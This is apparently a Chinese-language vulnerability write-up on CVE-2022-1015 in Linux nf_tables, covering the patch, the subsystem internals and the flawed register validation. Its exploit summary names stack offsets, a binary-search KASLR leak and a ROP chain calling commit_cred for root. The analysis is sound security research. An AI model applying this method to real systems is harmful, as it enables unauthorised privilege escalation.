【kernel exploit】CVE-2022-1015 nftables 栈溢出漏洞分析与利用
影响版本:Linux 5.12~5.17
测试版本:Linux-5.17 exploit及测试环境下载地址—https://github.com/bsauce/kernel-exploit-factory
原作者测试的内核版本是 5.16.0-rc3+。
编译选项:
CONFIG_NF_TABLES=y
CONFIG_NETFILTER_NETLINK=y
CONFIG_BINFMT_MISC=y (否则启动VM时报错)
CONFIG_USER_NS=y
在编译时将.config
中的CONFIG_E1000
和CONFIG_E1000E
,变更为=y。参考
$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v5.x/linux-5.17.tar.xz
$ tar -xvf linux-5.17.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录:/arch/x86/boot/bzImage。
漏洞描述:nftables模块中,nft_parse_register_load() 和 nft_parse_register_store() 函数没有限制传入的寄存器下标范围,导致整数溢出(能够通过范围校验),从而触发栈溢出越界读写。漏洞利用时,需从中断上下文中返回到用户态,需要利用 __do_softirq()
函数的末尾完美返回到syscall的上下文,然后调用 switch_task_namespaces(current, &init_nsproxy)
和 commit_cred(&init_cred)
提权。
补丁:patch 传入 nft_parse_register()
函数的reg值的范围本应该是0~16。打补丁之前,可以传入reg非常大,例如 0xfffffff0,就会走到 nft_parse_register()
的 default — [1]
处,返回一个仍然越界的值。打补丁之后,会仔细检查 reg 值,去掉了 default 分支。
diff --git a/net/netfilter/nf_tables_api.c b/net/netfilter/nf_tables_api.c
index d71a33ae39b35..1f5a0eece0d14 100644
--- a/net/netfilter/nf_tables_api.c
+++ b/net/netfilter/nf_tables_api.c
@@ -9275,17 +9275,23 @@ int nft_parse_u32_check(const struct nlattr *attr, int max, u32 *dest)
}
EXPORT_SYMBOL_GPL(nft_parse_u32_check);
-static unsigned int nft_parse_register(const struct nlattr *attr)
+static unsigned int nft_parse_register(const struct nlattr *attr, u32 *preg)
{
unsigned int reg;
reg = ntohl(nla_get_be32(attr));
switch (reg) {
case NFT_REG_VERDICT...NFT_REG_4:
- return reg * NFT_REG_SIZE / NFT_REG32_SIZE;
+ *preg = reg * NFT_REG_SIZE / NFT_REG32_SIZE;
+ break;
+ case NFT_REG32_00...NFT_REG32_15:
+ *preg = reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00;
+ break;
default: // [1]
- return reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00;
+ return -ERANGE;
}
+
+ return 0;
}
@@ -9327,7 +9333,10 @@ int nft_parse_register_load(const struct nlattr *attr, u8 *sreg, u32 len)
u32 reg;
int err;
- reg = nft_parse_register(attr);
+ err = nft_parse_register(attr, ®);
+ if (err < 0)
+ return err;
+
err = nft_validate_register_load(reg, len);
if (err < 0)
return err;
@@ -9382,7 +9391,10 @@ int nft_parse_register_store(const struct nft_ctx *ctx,
int err;
u32 reg;
- reg = nft_parse_register(attr);
+ err = nft_parse_register(attr, ®);
+ if (err < 0)
+ return err;
+
err = nft_validate_register_store(ctx, reg, data, type, len);
if (err < 0)
return err;
保护机制:KASLR / SMEP / SMAP
利用总结:
- (1)初始化
- 设置
unshare
/NETLINK_ROUTE
; - 设置
base_chain
:如果目的端口号为 9999,且packet前8字节为MAGIC=0xdeadbeef0badc0de
则跳转到auxilitary_chain
; - 创建
auxilitary_chain
(还未添加rule)。
- 设置
- (2)测试是否存在漏洞
- 尝试添加rule (nft_payload expression),将packet中的数据(第8字节开始)写到 nft_regs 的偏移
0xca * 4 = 0x328
处,如果能够成功添加该rule,则说明越界的dreg
值能够成功传递到内核中,漏洞存在。
- 尝试添加rule (nft_payload expression),将packet中的数据(第8字节开始)写到 nft_regs 的偏移
- (3)泄露内核基址
setup_listener()
—— 创建监听线程(充当server端),绑定到127.0.0.1:9999
,负责循环收包,并回发MSG_OK
确认;- client端绑定到
127.0.0.1:8888
,负责向server端发包; - 构造
auxilitary_chain
:主要调用create_infoleak_rule()
来创建rule,将偏移0xff * 4 = 0x3fc
处的值取过来,和指定的cmp值进行比较(cmp值采用二分搜索确定,范围是0~255
),若大于cmp值则drop包,否则accept包; - 向server端发包(前8字节为
MAGIC
值),触发执行auxilitary_chain
; - 若未从server端收到包,则说明地址字节大于mid值,范围是
[mid+1, high]
;若从server端收到MSG_OK
包,则说明地址字节小于等于mid值,范围是[low, mid]
。
- (4)劫持控制流
- 创建
base_chain_2
:负责将packet第8字节开始的 ROP 写到栈上偏移0xca * 4 = 328
处; - 问题:我编译的 Linux-v5.17 需劫持偏移 0x398 处的返回地址,最终只能写 0xb8 长度的ROP(23个gadget),原文的ROP链过长放不进去,所以进行了改进。把之前为了栈平衡填充的
12*8
空间放置提权ROP,用7个gadget 把RSP减去0x70后跳进去。- 跳转到
__do_softirq()
末尾,从软中断正常返回到 syscall context;(副作用导致需填充12*8
字节,以维持栈平衡) - 用7条gadget,将RSP减去0x60跳转到前面的ROP链;(
push rsp; pop rbp
->push rbp; pop rax
->sub rax, r8
->push rax; pop rsp
) - 执行
switch_task_namespaces(current, &init_nsproxy)
; - 执行
commit_cred(&init_cred)
; - 抬栈,返回到正常的 syscall context。
- 跳转到
- 创建
- (5)发包触发劫持
- packet第8字节开始布置 ROP,向server端发包触发劫持控制流。
注意:根据不同的版本,泄露地址的栈偏移 0xff*4
和返回地址偏移0xca*4
可能有所不同,需要进行适配。
本文分析了两个 nf_tables
组件中的漏洞:
- CVE-2022-1015:输入参数未正确校验导致OOB
- CVE-2022-1016:栈变量未初始化导致信息泄露
在最新的Ubuntu和RHEL的默认配置下即可提权,原文测试的内核版本是kernel-v5.16-rc3,我测试的是kernel-v5.17。
1. 背景
2月中旬google发起一个漏洞研究项目—would continue their kCTF vulnerability reward program,只要能从有nsjail 沙箱的Linux内核提权,即可奖励31,337 到 91,337 美元。本文作者想拿到奖金,就分析了 nf_tables
模块,但是最后发现google的kCTF环境中没有加载 nf_tables
模块。
目标选取的要求:
- 首先不需要root权限。例如,虚拟文件系统模块中,只有root用户才能mount,除非配置了
FS_USERNS_MOUNT
选项,就能在user namespace 进行mount。 - 必须可通过syscall可达。底层硬件驱动是不可访问的,底层网络驱动可能可以,例如通过bluetooth 或 802.11ac 发送数据。
- 对于
CAP_SYS_ADMIN
和CAP_NET_ADMIN
权限。由于用户命名空间是默认开启的,所以这不是问题,否则还需要先提权到容器的 namespace root。 - 目标模块必须默认加载。可以通过写程序与目标模块进行交互,来验证目标模块是否正常加载了。
作者选择了 nf_tables
模块,因为其功能很复杂,而且属于net组件。
2. 介绍 Netfilter
Netfilter简介:Netfilter 是kernel中很大的网络子系统。它可以在常见的网络模块中设置hooks并注册handler处理函数,一旦到达hook点就会调用handler处理函数,对相应的网络包进行处理,handler可以对包进行 accept/drop/modify 操作。
hook点示例:
nf_conntrack
:记录所有网络链接。nf_nat
:对进出的IP包进行网络地址和port翻译。nf_queue
:将包分发给用户。nf_tables
:基于用户定义的rule来筛选或转发包。
Netfilter 作用:
- 实现状态防火墙;
- 实现负载平衡;
- 实现网络地址转换;
- 提供用户连接的日志记录(
ss
/lsof
/conntrack
)。
关于Netfilter详细介绍可参考 this blogpost on netfilter/iptables 和 this blogpost on nf_conntrack。(PS:其实eBPF也能实现网络包过滤,参见cilium)
3. 介绍 nf_tables
nf_tables 简介:nf_tables
目标是想取代 (ip、ip6、arp、eb)tables,是一款新的内核包分类框架,基于特定网络虚拟机VM来实现。nf_tables
提供了一些接口来创建rule,之后会利用这些rule对特定的包进行处理(根据verdict 来判断进行哪种操作 drop / allow / reroute)。
对比ip_tables:ip_tables
其实就是配置规则,规则由若干个 matches 和一个 target 组成,是固定的、不可编程的;而 nf_tables
更加灵活、可编程的,更灵活的去指定所执行的动作和行为(对性能进行优化),相当于在 Netfilter 的个HOOK点各实现了一个虚拟机,类似于汇编代码。
- iptables规则集由N条规则组成,这些规则和Netfilter的5和HOOK点相关联,在每一个HOOK点上,进入的IP数据报文要遍历所有关联与此点的规则,直到某条规则明确返回ACCEPT或者DROP之类。如果有10000条规则,那就要最多去匹配10000次。除此之外,进入内部,我刚才说过,iptables的内核设施明令规定了规则的结构以及执行过程,写规则的“运维人员”根本就无力像“程序员”那般去修改其行为以便优化,一切都是固定的,如果一个iptables内核模块实现的不好,比如数据结构组织的不好,那么iptables规则的编写者只能兴叹。
- 随着nftables版本的进化,它的行为和性能只与“nftables编程者”有关,你再也不能抱怨nftables的效率低下了,如果它的性能低下,那只能怪你编程编的不好。nftables作为拥有自己独立语法的“一种编程语言”,和C语言是类似的,如果你的C语言代码性能很低,你会怪C语言本身吗? 使用nftables的话,你甚至可以“烹饪”出一条基于多维树匹配的规则来,在iptables中,你无力放弃线性的逐条matches匹配,但是在nftables中,你却有能力将其由线性匹配优化成一颗多维匹配树。
nf_tables 示例:
// 从数据包IP头开始算,取出数据包的第10个字节开始的1字节并把它放入reg 1,比较reg 1的值是不是0x06,如果是的话,以数据包TCP头开始算,取出第3个字节开始的2个字节放入reg 1,看看它是不是80,如果是,就指示这个数据包应该丢掉。
[ payload load 1b @ network header + 9 => reg 1 ]
[ cmp eq reg 1 0x00000006 ]
[ payload load 2b @ transport header + 2 => reg 1 ]
[ cmp eq reg 1 0x00005000 ]
[ immediate reg 0 drop ]
3-1 nf_tables 架构
结构关系:struct nft_table -> struct nft_chain -> struct nft_rule -> struct nft_expr
nft_table
:nf_tables 中,一个table (struct nft_table 结构)就是一个 container,与一种特定网络协议相关联(例如 ip/ip6/arg等)。每个 netfilter hook 点都对应一个 handler 处理函数,只要packet触发了某个hook点,相应的table就开始处理。nft_chain
:一个table可以包含很多 chains (struct nft_chain 结构),用户可以往table添加base chains
(表示要处理哪种类型的流量),例如,chain可以指定要处理入流量还是出流量,也可以指定对特定的网络接口进行处理(例如 loopback 接口和 ethernet 接口)。你可以指定base chains
的优先级,确定运行顺序;你也可以往table添加non-base chains
,但non-base chains
不会自动处理packet(后面会提到)。nft_rule
:一个base chain
包含一个policy,表示要执行的动作(例如drop / accept)。 chains 也是 container,包含一些rules (struct nft_rule 结构),执行到chain时会顺序运行其中每一条rule;rules则包含一些 expressions (struct nft_expr
结构),也即进行实际操作的指令。nft_expr
:expressions 是最有意思的部分,负责进行实际操作;expression 用 struct nft_expr 这个抽象类来表示,有很多种expression,其他模块可以通过修改nft_expr->ops
成员来定义具体的实现,ops->size
表示真实的size (sizeof(struct nft_expr_ops) + sizeof(<struct expr_data>)
)。nft_expr_ops
/* NOTE: taken from include/net/netfilter/nf_tables.h */
/**
* struct nft_expr_ops - nf_tables expression operations
*
* @eval: Expression evaluation function
* @size: full expression size, including private data size
* @init: initialization function
* @activate: activate expression in the next generation
* @deactivate: deactivate expression in next generation
* @destroy: destruction function, called after synchronize_rcu
* @dump: function to dump parameters
* @type: expression type
* @validate: validate expression, called during loop detection
* @data: extra data to attach to this expression operation
*/
struct nft_expr_ops { // 具体的操作,包含很多函数指针
void (*eval)(const struct nft_expr *expr,
struct nft_regs *regs,
const struct nft_pktinfo *pkt);
...
unsigned int size;
...
int (*init)(const struct nft_ctx *ctx,
const struct nft_expr *expr,
const struct nlattr * const tb[]);
...
};
/**
* struct nft_expr - nf_tables expression
*
* @ops: expression ops
* @data: expression private data
*/
struct nft_expr {
const struct nft_expr_ops *ops; // <----------
unsigned char data[]
__attribute__((aligned(__alignof__(u64))));
};
expression示例:一种简单的expression —— immediate
expression。
- expression 分配和初始化参见 nft_expr_init() -> nf_tables_newexpr();
- 实际运行该expression时,会调用
ops->eval()
(调用点参见 nft_do_chain() -> expr_call_ops_eval()),参数1是指向 struct nft_expr 自身的指针,参数2是指向一块内存的指针(包含expression可以读写的 struct nft_regs 寄存器结构,以及一些 packet 信息)。- 新的寄存器状态会传给下一个expression。
- struct nft_regs 结构包含一个
verdict
成员,expression通过设置verdict
来确定控制流走向(break / jump / goto)。
// nft_expr->data 放置 nft_immediate_expr
struct nft_immediate_expr {
struct nft_data data;
u8 dreg; /* destination register index */
u8 dlen; /* length of destination */
};
// nft_expr->ops 指向 nft_imm_ops
static const struct nft_expr_ops nft_imm_ops = {
.type = &nft_imm_type,
.size = NFT_EXPR_SIZE(sizeof(struct nft_immediate_expr)),
.eval = nft_immediate_eval,
.init = nft_immediate_init,
.activate = nft_immediate_activate,
.deactivate = nft_immediate_deactivate,
.destroy = nft_immediate_destroy,
.dump = nft_immediate_dump,
.validate = nft_immediate_validate,
.offload = nft_immediate_offload,
.offload_flags = NFT_OFFLOAD_F_ACTION,
};
// expression 分配点
kzalloc(expr_info.ops->size, GFP_KERNEL);
3-2 nf_tables 状态机的细节
目标:来看看状态机的 fetch-execute loop,也即expression的执行过程。
base chain
初始化: nft_do_chain() 负责执行 table 中的每个 base chain
,每个 base chain
分别调用一次 nft_do_chain() 。
// net/netfilter/nf_tables_core.c
unsigned int nft_do_chain(struct nft_pktinfo *pkt, void *priv)
{
const struct nft_chain *chain = priv, *basechain = chain;
const struct net *net = nft_net(pkt);
struct nft_rule *const *rules;
const struct nft_rule *rule;
const struct nft_expr *expr, *last;
struct nft_regs regs;
unsigned int stackptr = 0;
struct nft_jumpstack jumpstack[NFT_JUMP_STACK_SIZE];
...
next_rule:
regs.verdict.code = NFT_CONTINUE;
for (; rule < last_rule; rule = nft_rule_next(rule)) { // 遍历 chain 中的所有 rule
nft_rule_for_each_expr(expr, last, rule) { // 遍历 rule中所有的 expression
expr_call_ops_eval(expr, ®s, pkt); // 调用 expr->ops->eval() 执行 rule
if (regs.verdict.code != NFT_CONTINUE) // 如果没有设置 verdict,则继续遍历expression
break;
}
// 如果 verdict == NFT_BREAK, 则停止执行该rule,跳转到下一个rule
if (regs.verdict.code == NFT_BREAK) {
regs.verdict.code = NFT_CONTINUE;
continue;
}
break; // 否则,停止执行所有rule, 更细致的检查 verdict
}
switch (regs.verdict.code & NF_VERDICT_MASK) { // chain 处理完成后,检查 verdict
// 如果 verdict属于以下几种值,则停止执行并返回该verdict
case NF_ACCEPT: /* Accept the packet, resume any further chain execution */
case NF_DROP: /* Drop the packet */
case NF_QUEUE: /* Delegate packet to usermode program */
case NF_STOLEN: /* Drop, but don't clean up conntrack and stuff */
return regs.verdict.code;
}
switch (regs.verdict.code) {
// NFT_JUMP 表示跳转到另一个chain, 将返回地址压栈(类似call指令), 如果将要执行的chain没有设置明确的verdict, 则恢复之前中断的执行
case NFT_JUMP:
if (WARN_ON_ONCE(stackptr >= NFT_JUMP_STACK_SIZE))
return NF_DROP;
jumpstack[stackptr].chain = chain;
jumpstack[stackptr].rules = rules + 1;
stackptr++;
fallthrough;
case NFT_GOTO: // NFT_GOTO 表示跳转到另一个chain (不压返回地址,类似于 goto)
chain = regs.verdict.chain;
goto do_chain;
case NFT_CONTINUE: // 若没有设置 verdict, 则默认执行本操作,接着往后执行
case NFT_RETURN: /* Reached whenever issued explicitly
* to return early from a chain */
break;
default:
WARN_ON(1);
}
if (stackptr > 0) { // 返回到调用栈之前的chain
stackptr--;
chain = jumpstack[stackptr].chain;
rules = jumpstack[stackptr].rules;
goto next_rule;
}
// 如果没有到达明确的 verdict, 返回 chain 的policy (默认为 accept 或 drop)
return nft_base_chain(basechain)->policy;
}
看完以上代码,就能看出chain和rule的区别,可以把chain当成一个函数(可以直接跳过去,不过只能跳到 non-base chain
),rule就是该函数包含的指令(不能直接跳到某个rule),但是rule中的expression可以跳转到:
- 下一个expression (
NFT_CONTINUE
) - 下一个rule (
NFT_BREAK
) - 跳往某个chain (
NFT_BREAK
/NFT_GOTO
) - base chain caller (
NF_ACCEPT
),返回到调用者?
3-3 nf_tables expression
目标:来看看不同类型的expression 是做什么的,如何设置 expression。
nft_regs
寄存器结构:还记得 expression可以对 struct nft_regs 结构进行读写吗?
最开始有4个寄存器,每个寄存器占16字节,但是发现用起来不方便。现在可以用下标来索引寄存器(见 enum nft_registers),单位是4字节。前16字节和 struct nft_verdict 结构重叠,不能直接写 nft_verdict
,因为它包含 struct nft_chain
指针(表示 NFT_JUMP
/ NFT_GOTO
的跳转目标地址),不明白为什么非要采用union结构,为什么不用struct来表示(把 struct nft_verdict 放最前面)?
struct nft_regs {
union {
u32 data[20]; // data registers
struct nft_verdict verdict; // verdict register 前4个 data register 和一个 verdict register 别名, verdict 寄存器占4字节(用于表示控制流, 下一条指令执行什么)
};
};
struct nft_verdict {
u32 code; // nf_tables/netfilter verdict code
struct nft_chain *chain; // NFT_JUMP/NFT_GOTO 跳转的目标chain
};
// regeister 的下标,用于索引到对应的寄存器
enum nft_registers {
NFT_REG_VERDICT,
NFT_REG_1,
NFT_REG_2,
NFT_REG_3,
NFT_REG_4,
__NFT_REG_MAX,
NFT_REG32_00 = 8,
NFT_REG32_01,
...
NFT_REG32_15,
};
#define NFT_REG_MAX (__NFT_REG_MAX - 1)
#define NFT_REG_SIZE 16
#define NFT_REG32_SIZE 4
你可以把这些寄存器看作是连续的内存,因为很多expression能一次读写多个连续的寄存器。用户在构造expression时,需要传递的参数是一个源寄存器(sreg)、一个目的寄存器(dreg)以及其他参数,例如length,这些参数在通过检查后才能写入expression结构,之后在调用 eval()
函数时就能使用这些值。
(1)nft_immediate_expr
位置:net/netfilter/nft_immediate.c
作用:往寄存器或 nft_verdict
写入常量。
用法:用户提供 dreg
下标和待写入的data(最大16字节常量),如果 dreg
为0则提供一个 verdict 。如果 verdict 是 NFT_{JUMP,GOTO}
,则还需要提供一个有效的 chain 标识符,会设置相应的 chain指针和 dlen
成员。
struct nft_immediate_expr {
struct nft_data data; /* nft_data contains up to 16 bytes of data OR a verdict */
u8 dreg; /* destination register index */
u8 dlen; /* length of destination */
};
(2)nft_cmp_expr
位置:net/netfilter/nft_cmp.c
作用:对寄存器值和常量进行比较。
用法:用户提供 sreg
、16字节data(并设置相应的dlen
)、以及相应的比较操作 (例如NFT_CMP_EQ
/ NFT_CMP_NEQ
/ NFT_CMP_GT
)。expression 会把 sreg
的 dlen
字节和data进行比较,如果比较为 false,就会发出 NFT_BREAK
verdict 并从当前rule 跳出,反之比较为true则什么也不做。该expression可以在rule中实现条件逻辑。
struct nft_cmp_expr {
struct nft_data data;
u8 sreg;
u8 len;
enum nft_cmp_ops op:8;
};
(3)nft_bitwise
位置:net/netfilter/nft_bitwise.c
作用:实现位操作。
用法:用户提供 len
/ sreg
/ dreg
/ 操作符 op
表示按位操作的类型。
- 如果未设置
op
或者op == NFT_BITWISE_BOOL
—— 异或操作- 用户提供最多len字节的
xor
data 或mask
data len
最大为16sreg
将进行异或操作并mask,结果写到dreg
- 用户提供最多len字节的
- 如果
op == NFT_BITWISE_LSHIFT
或op == NFT_BITWISE_RSHIFT
—— 位移操作- 用户提供位移位数 data
len
没有约束,没有边界检查sreg
的len
字节将算术移动data
位并写入dreg
。如果len
不是4的倍数,则以网络字节序
struct nft_bitwise {
u8 sreg;
u8 dreg;
enum nft_bitwise_ops op:8;
u8 len;
struct nft_data mask;
struct nft_data xor;
struct nft_data data;
};
(4)nft_payload
作用:和当前packet交互,把packet中的数据读取到寄存器。
用法:用户提供 len
/ dreg
/ offset
/ base
,base
表示对哪个协议层进行操作,详细如下表所示。如果packet没有对应请求的header,则发出 NFT_BREAK
verdict 结束执行流;有对应的header的话,则将packet位于 offset
的 len
字节写入 dreg
。
struct nft_payload {
enum nft_payload_bases base:8;
u8 offset;
u8 len;
u8 dreg;
};
Base | Offsets to |
---|---|
NFT_PAYLOAD_LL_HEADER | Link layer, e.g. ethernet or 802.11 header |
NFT_PAYLOAD_NETWORK_HEADER | Network layer, e.g. IPv4 or IPv6 header |
NFT_PAYLOAD_TRANSPORT_HEADER | Transport layer, e.g. TCP or UDP header |
NFT_PAYLOAD_INNER_HEADER | Inner header, i.e. the actual packet “contents” |
(5)nft_meta
作用:可以将packet metadata 写入寄存器或修改packet metadata 。
用法:用户提供 key
表示 metadata 类型(以下列举了部分key),提供dreg
表示将 metadata 写入的位置,或者提供 sreg
表示往 packet metadata 写什么值,具体取决于用户定义,也并非所有的 metadata 都可写。
以下列出了 key
的可选种类:
struct nft_meta {
enum nft_meta_keys key:8;
union {
u8 dreg;
u8 sreg;
};
};
Key | Performs |
---|---|
NFT_META_L4PROTO | Write transport protocol to register, or issue NFT_BREAK if the packet doesn’t have one. |
NFT_META_LEN | Write total packet length to register. |
NFT_META_CPU | Write CPU on which packet is processed to register. |
NFT_META_PRANDOM | Write random value to register. |
NFT_META_TIME_{NS,DAY,HOUR} | Write system time in specified unit to register. |
NFT_META_{I,O}IFKIND | Write input or output network interface “kind” (identifier) to register. |
NFT_META_PRIORITY | Either write internal packet priority to register, or write register to internal packet priority. |
3-4 通过netlink与nftables 交互
Netlink简介:Netlink是一个内核接口,也是一种协议,便于用户与内核进行网络信息交互,最初开发是为了克服ioctl的限制。例如,内核可以使用netlink接收变长的参数,write shallow validation rules declaratively。几乎所有Linux网络管理都使用了netlink,例如 iproute2
中的 ip
/ ss
/ bridge
。
使用方法:与netlink交互时使用 AF_NETLINK
socket,每个内核子系统如果含有netlink交互功能,都会定义一个相应的socket family(用户需要确定)。为了和netfilter交互,我们需要使用 NETLINK_NETFILTER
family。其他完整的 netlink family 可参考 netlink(7)
。
int fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_NETFILTER);
优点:Netlink可以自动加载你需要交互的模块,只要 modprobe
和 目标模块都存在。 netfilter 接口 (nf_netlink.ko
)也会自动加载你请求的组件(例如nf_tables
),这样我们进行漏洞利用时就不用担心漏洞模块是否已提前加载。
nlmsghdr
消息头:sendmsg() 用于往 netlink socket 发送消息,user_msg_hdr->msg_iov
指向 struct nlmsghdr
结构——netlink消息头。
nlmsg_type
:消息类型。例如,NLMSG_NOOP
/NLMSG_ERROR
/NLMSG_DONE
/NLMSG_OVERRUN
。nlmsg_flags
:每个outgoing消息都要设置NLM_F_REQUEST
,并与NLM_F_CREATE
/NLM_F_REPLACE
/NLM_F_APPEND
/NLM_F_EXCL
之一进行或操作,后面几个flag可以根据接口灵活选择。
// sendmsg()
SYSCALL_DEFINE3(sendmsg, int, fd, struct user_msghdr __user *, msg, unsigned int, flags)
// 消息头
struct nlmsghdr {
__u32 nlmsg_len; // 整个消息的长度, 包括 Netlink 消息头本身
__u16 nlmsg_type; // 特定接口的消息类型
__u16 nlmsg_flags;// 消息类型的额外信息
__u32 nlmsg_seq; /* Sequence number */
__u32 nlmsg_pid; /* Sending process port ID */
};
消息主体:消息主体跟在 nlmsghdr
header 结构后面,包含特定接口的结构,后面继续跟着很多属性(struct nlattr 结构)。后面又跟着接口相关的结构。内核会对每个attribute的len和type进行检查,attribute也可以包含嵌套的attribute。
struct nlattr {
__u16 nla_len; // attribute 长度
__u16 nla_type; // 依赖接口
};
接收消息:recvmsg() 接收netlink socket的消息,会将相同格式的netlink消息写入指定的iovec。为了接收消息,socket必须 bind
到 struct sockaddr_nl
(设置 AF_NETLINK
family),另外, 也要指定你想接收消息的group。
- group:netlink接口定义了消息队列group,你可以订阅之后就能收到特定的感兴趣的消息。例如,为了收到和
nf_tables
table 有关的消息,你需要设置NFNLGRP_NFTABLES
flag,这样只有在nf_tables
table 的配置发生改变时才会收到消息。也有一些netlink接口,会定义group根据网络事件来接收相应信息,例如nf_queue
。
struct sockaddr_nl rsa = {
.nl_family = AF_NETLINK,
.nl_groups = 1 << (NFNLGRP_NFTABLES - 1);
};
bind(nlfd, (struct sockaddr*)&rsa, sizeof(rsa));
了解更多关于 netlink 协议的知识,可以参考 RFC 或 Linux/netlink.h 。
nf_tables
可以处理的请求类型:nf_tables_msg_types
enum nf_tables_msg_types {
NFT_MSG_NEWTABLE,
NFT_MSG_GETTABLE,
NFT_MSG_DELTABLE,
NFT_MSG_NEWCHAIN,
NFT_MSG_GETCHAIN,
NFT_MSG_DELCHAIN,
NFT_MSG_NEWRULE,
NFT_MSG_GETRULE,
NFT_MSG_DELRULE,
NFT_MSG_NEWSET,
NFT_MSG_GETSET,
NFT_MSG_DELSET,
NFT_MSG_NEWSETELEM,
NFT_MSG_GETSETELEM,
NFT_MSG_DELSETELEM,
NFT_MSG_NEWGEN,
NFT_MSG_GETGEN,
NFT_MSG_TRACE,
NFT_MSG_NEWOBJ,
NFT_MSG_GETOBJ,
NFT_MSG_DELOBJ,
NFT_MSG_GETOBJ_RESET,
NFT_MSG_NEWFLOWTABLE,
NFT_MSG_GETFLOWTABLE,
NFT_MSG_DELFLOWTABLE,
NFT_MSG_MAX,
};
libmnl
和libnftnl
库:直接手动构造消息包的话你会崩溃的,netfilter 提供了两个库,libmnl 可以管理消息格式,libnftl是基于前者的,这样就能抽象的构造整个netlink消息格式。
3-5 nft —— nftables 用户模式的命令行功能
nft
是 nf_tables 的用户组件,采用声明式的格式来将抽象逻辑转换成具体的rule和expression,示例如下(展示如何转换的):
#!/usr/sbin/nft -f
# Flush the rule set
flush ruleset
# This table applies to inet, i.e. both ipv4 and ipv6
table inet example_table {
chain example_chain {
# This is filter chain (as opposed to a nat or route chain)
# It will process any incoming traffic (input)
# If no explicit verdict is reached it will accept the packet
type filter hook input priority 0; policy accept;
# First (and only) rule:
# Drop any incoming TCP traffic to port 22
tcp dport ssh drop
}
}
rule将会被编译成如下table所示(忽略table和chain的创建)。注意,只要没有设置具体的 verdict 值,会默认接收所有packet,所以 NFT_BREAK
也会被隐式接收(设置为 NFT_DROP
就会丢弃该 packet)。
# | Expression | Arguments | Comment |
---|---|---|---|
0 | nft_meta | key=NFT_META_L4PROTO dreg=8 | 将传输层协议写到 register 8, 如果packet没有传输层协议头则发出 NFT_BREAK |
1 | nft_cmp_expr | op=NFT_CMP_EQ sreg=8 data=IPPROTO_TCP | 判断传输层协议是否为 IPPROTO_TCP , 如果不是则发出 NFT_BREAK |
2 | nft_payload | base=NFT_PAYLOAD_TRANSPORT_HEADER offset=offsetof(tcphdr, dport) len=sizeof_field(tcphdr, dport) | 将packet目标port写到 register 8. |
3 | nft_cmp_expr | op=NFT_CMP_EQ sreg=8 data=22 | 比较目标port是否等于22, 如果不等于则发出 NFT_BREAK |
4 | nft_immediate_expr | verdict=NF_DROP | Since the rule is still evaluating, the conditions must match, and we drop the packet. |
4. CVE-2022-1015
作者首先从 net/netfilter/nf_tables_api.c
文件看起,决定先看看用户发送的寄存器校验逻辑,发现一些可疑行为,栈上的OOB读写。
4-1 漏洞分析
当一个expression的 init
例程需要从用户的netlink消息解析寄存器时,对源寄存器和目的寄存器分别调用 nft_parse_register_load() 和 nft_parse_register_store() :
// 参数是一个 netlink attribute 和需要读取请求数据的 length, 把register index 写入sreg, 失败则返回error
int nft_parse_register_load(const struct nlattr *attr, u8 *sreg, u32 len)
{
u32 reg;
int err;
reg = nft_parse_register(attr); // [1] 返回 reg 在 nft_registers 中的下标
err = nft_validate_register_load(reg, len); // [2] 检查下标是否合法
if (err < 0)
return err;
*sreg = reg; // [3] 将 reg index 写到 nft_expr.data 结构
return 0;
}
// 将一个 register 转换为 nft_regs 中的 index
static unsigned int nft_parse_register(const struct nlattr *attr)
{
unsigned int reg;
// 从 netlink attribute 中获取指定的 register
reg = ntohl(nla_get_be32(attr));
switch (reg) { // 如果是 0 到 4, 则为 OG 16-byte 寄存器, 需乘以4 (4*4=16)
case NFT_REG_VERDICT...NFT_REG_4:
return reg * NFT_REG_SIZE / NFT_REG32_SIZE; // * 16 / 4
default: // [1-1] 否则减去4, 因为要去掉以上 OG寄存器的下标
return reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00; // + 16/4 - 8
}
// 如果reg的值为 1,2,3,4, 则为 OG 16-byte register, 对应为4,8,12,16
// 如果reg的值为 5,6,7 则与 verdict 重叠
// 8,9,10,11 和 OG register 1 重叠
// 12,13,14,15 和 OG register 2 重叠
}
static int nft_validate_register_load(enum nft_registers reg, unsigned int len)
{
// 我们不能从 verdict register 读取, 所以如果index是 0/1/2/3 则退出
if (reg < NFT_REG_1 * NFT_REG_SIZE / NFT_REG32_SIZE)
return -EINVAL;
if (len == 0) // 错误操作,退出
return -EINVAL;
// 如果产生 OOB access (reg 作为 index, 读取 len 字节), 则退出
// sizeof_field(struct nft_regs, data) == 0x50
if (reg * NFT_REG32_SIZE + len > sizeof_field(struct nft_regs, data)) // [2-1] 漏洞点: 如果某个(reg*4+len) 存在整数溢出, 则 [1] 处 reg 的最低字节还是会被写到 `u8 *sreg` 指针处, 写入 nft_expr 结构, 并在之后被用作 index
// 注意, nft_regs 中 data 所占字节为 4*20 = 80 = 0x50, 所以只要 <= 0x50 即可通过检查
return -ERANGE;
return 0;
}
nft_parse_register_store()
差不多,不同的是某些情况下可以往 verdict 写。
触发漏洞:原本 reg 在 [1]
中是 enum nft_registers 中的值(范围是0~15),但是我们可以传入到nft_validate_register_load() 的reg值范围是 0x1 ~ 0xfffffffb( nft_parse_register() 函数中会减4),没有限制所传入的寄存器值的范围;如果传入的reg值过大,那么在 [2-1]
处可能存在整数溢出(reg * NFT_REG32_SIZE + len
也即 reg*4+len
存在整数溢出),导致通过了 [2-1]
这个check条件,最终在 [3]
处将一个很大的值(最低位的1个字节)写入了 sreg
。
问题:在 nft_validate_register_load() 中形参定义为enum nft_registers reg
,那么传进来的值还是32位的吗?编译器会不会将该参数的data type进行优化呢,因为 enum nft_registers 的范围是0~15。
GCC manual 中写道,整数类型和枚举类型兼容,如果枚举中没有负值,则type通常是unsigned int,否则是int。如果加上编译选项 -fshort-enums
,如果有负值,则依次优化为 signed char / short / int ,否则为 usigned char / short / int。 有些内核上,-fshort-enums
选项是默认的;但一般有没有该编译选项是由ABI和优化level来决定的。
那么我们编译的内核默认有没有加上编译选项 -fshort-enums
呢?最直接的办法是看汇编。
0000000000001b60 <nft_parse_register_load>:
1b60: e8 00 00 00 00 call 1b65 <nft_parse_register_load+0x5>
